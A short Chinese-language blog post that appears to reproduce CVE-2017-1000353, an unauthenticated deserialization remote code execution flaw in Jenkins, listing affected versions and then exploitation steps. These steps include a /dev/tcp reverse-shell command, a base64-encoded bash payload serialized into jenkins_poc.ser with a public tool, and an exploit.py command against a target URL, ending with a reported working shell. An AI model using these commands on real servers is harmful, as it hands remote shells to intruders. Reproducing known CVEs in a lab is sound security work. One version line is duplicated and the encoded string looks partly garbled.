【jenkins】CVE-2017-1000353
0x01漏洞原理
enkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。
0x02影响版本
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
0x03漏洞复现
工具:
https://github.com/vulhub/CVE-2017-1000353
反弹shell
https://forum.ywhack.com/reverse-shell/
/bin/bash -i >& /dev/tcp/1.xxxx/9999 0>&1
编码
https://r0yanx.com/tools/java_exec_encode

生成二进制文件jenkins_poc.ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIdddddddddC9kZXYvdGNwLzEuMTE3LjE1OS4xOTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
利用payload
python2 exploit.py http://1.xxxxx:8080/ jenkins_poc.ser

反弹shell成功

苟利国家生死以,岂因福祸避趋之

浙公网安备 33010602011771号